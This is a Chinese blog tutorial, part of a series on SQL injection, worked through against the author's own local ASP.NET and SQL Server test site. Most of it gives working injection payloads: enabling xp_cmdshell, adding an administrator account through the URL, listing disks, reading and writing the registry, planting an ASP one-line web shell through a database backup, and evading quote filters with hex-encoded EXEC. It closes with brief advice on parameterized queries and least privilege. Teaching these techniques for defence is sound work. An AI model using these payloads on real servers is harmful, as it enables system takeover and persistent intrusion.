SQL注入是一个比较“古老”的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆。进攻与防守相当于矛和盾的关系,我们如果能清楚了解
攻击的全过程,就可以更好的预防类似情况的出现。
前两篇文章介绍了攻击者通过构造SQL语句来获得“非授权信息”,都是停留在数据库层面的,其实它的威力可不仅仅止于此吆。如果DB管理员有疏忽,再加上页面有注入漏洞,危害不仅仅像前两篇最终网站后台沦陷搞不好整个系统都有可能被人控制。
测试环境跟上一篇相同, MSQL + asp.net + win7。前面已经拿下了管理员用户名、密码,我们还是使用新闻详细页面 ( 方便测试,不设防 ):
public partial class NewsInfo : System.Web.UI.Page
{
protected NewsModel _news = new NewsModel();
protected void Page_Load(object sender, EventArgs e)
{
var id = Request["id"];
var sqlStr = "select * from news where id=" + id;
var sqlCon = SqlHelper.GetConnection();
try
{
var ds = SqlHelper.ExecuteDataset(sqlCon, CommandType.Text, sqlStr);
if (ds.Tables[].Rows.Count <= ) return;
_news.Title = ds.Tables[].Rows[]["title"].ToString();
_news.Text = ds.Tables[].Rows[]["text"].ToString();
_news.CreateTime = ((DateTime)ds.Tables[].Rows[]["createTime"]).ToString("yyyy-MM-dd");
}
catch (Exception ex)
{
}
}
}
1. 添加系统用户
这里主要用到 xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。
由于存在安全隐患,一般 xp_cmdshell 默认是关闭的。 如果要执行它首先要打开 xp_cmdshell 打开 xp_cmdshell 的语句
--- 开启 xp_cmdshell
EXEC sp_configure 'show advanced options',
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell',
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'show advanced options',
RECONFIGURE WITH OVERRIDE --关闭xp_cmdshell
EXEC sp_configure 'show advanced options',
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell',
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'show advanced options',
打开之后就可以执行了,通过它能做的事情太多了,开启你的想象力,在这里我们看看添加用户 ,需要用到 net user 命令,的大致语法是这样的
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup /add administrators abc 将abc 添加到administrators 用户组中
net user guest 用guest用户登陆后用将密码改为12345
添加一个用户 可以构建一条SQL语句 Exec master.dbo.xp_cmdshell 'net user test 123456 /active:yes /add'。
在新闻详细页面URL地址里输入 localhost:833/news/newsInfo?id=12;Exec master.dbo.xp_cmdshell 'net user test 123456 /active:yes /add' 刷新页面,看看系统里是不是多了一个test 用户。
把 test用户加入管理员组 localhost:833/news/newsInfo?id=12;Exec master.dbo.xp_cmdshell 'net localgroup /add administrators test' ,再看看。
test用户拥有管理员权限了。
2.遍历磁盘目录
对磁盘操作的语句如下
--获取驱动器
exec master.dbo.xp_availablemedia
-- 获得子目录列表
exec master.dbo.xp_subdirs 'c:\Users'; -- 获得所有子目录的目录树结构
exec master.dbo.xp_dirtree 'c:\';
-- 查看文件的内容
exec xp_cmdshell 'type D:\test.txt';
URL地址栏输入 http://localhost:833/news/newsInfo?id=12;create table diskpath(name nvarchar(255),lowfree nvarchar(255),highfree nvarchar(255),mediatype nvarchar(255)); 回车创建一张表保存磁盘信息
URL地址栏输入 http://localhost:833/news/newsInfo?id=12;insert diskpath exec master.dbo.xp_availablemedia; 磁盘信息插入表diskpath
在新闻列表页输入 http://localhost:833/index?cId=category1' union select 1,name,'3','2016-1-1','5' from diskpath -- 查看服务磁盘列表
同理可以遍历服务器磁盘结构
3.读取、修改注册表
操作注册表语法
--xp_regenumvalues 以多个记录集方式返回所有键值
--用法: xp_regenumvalues 注册表根键, 子键
exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion' --xp_regread 返回制定键的值
--用法:xp_regread 根键,子键,键值名
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' --xp_regwrite 写入注册表
--用法:xp_regwrite 根键,子键, 值名, 值类型, 值 (值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 )
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' --xp_regdeletevalue 删除某个值
--用法:xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' --xp_regdeletekey 删除键,包括该键下所有值
--用法:xp_regdeletevalue 根键,子键
exec xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'
在这里就操作手法跟查看服务器磁盘信息类似,这里就不做相关演示了。想一想,注册表都能改了,开启远程桌面,查看远程桌面开放的端口....等等等等,不都是手到擒来的事情吗!
所以,为了安全,如果不需要,DB管理员一定要把相关敏感的存储过程删除。应用程序连接字符串里的用户,如果没有必要给个普通权限就好了,别动不动就把 sa 亮出来,安全为重!!
4.构建websell
这里构建websell其实是利用 sql 的 backup 功能往web程序目录下写一个备份文件,只不过是在备份文件的扩展名上做了手脚。
create table cmd (str image)
backup database SqlLinjection to disk = 'd:\cmd' with init
insert into cmd (str) values ('<%execute request("cmd")%>')
backup log SqlLinjection to disk='D:\SourceCode\SQLinjection\cmd.asp';
drop table cmd
这里生成了一个asp页面在网站目录里,里面写了经典的一句话木马,通过它攻击者就得到了websell。看看可以访问吗
具体这个小马怎么骑的,如果不清楚请自己 goole。
5.关于对字符的过滤
在前一篇文章 WEB 安全之 SQL注入 < 二 > 暴库 里,由于时间问题,还有小部分内容没写,在这里就补一下吧 (^.^) 。在文章最后一段管理员做了敏感字符的过滤,管理员过滤掉了空格,而攻击者通过 /**/ 来代替空格绕过了过滤字符。感觉很有成就感,呵呵呵呵。真实环境中管理员发现了漏洞不太可能只过滤掉空格的。你不是注入吗?我把单引号、等于号、空格 一起都过滤掉,看你怎么办。。其实没用的,我相信现在还存在仅仅把单引号替换双单引号的网站。其
实在第一篇文章 WEB 安全之 SQL注入<一> 盲注 里也说过,最好使用参数化查询和预编译查询语句来预防SQL注入,当然使用一些现成的框架也可以避免。通过过滤的手段要考虑周全,某一点没考虑到,就会被攻击者利用。
先看看这条SQL语句 DecLaRe @c vArchaR(8000);sEt @c=0x73656c656374204c454e282766776569776572272920;EXeC(@c);-- 猜猜看可以执行吗?看到这里大家都明白了吧。攻击者可以不用单引号来执行同带单引号语句有相同效果的命令,对付这样的语句如果过滤的话怎么做? (;@=0x 空格、关键字 通通都过滤掉吗? 这就安全了吗?不好说,谁知道还有哪些没想到呢。
结束语:知耻而后勇 知不足而奋进。 拒绝漏洞从我做起,网络安全程序猿有责。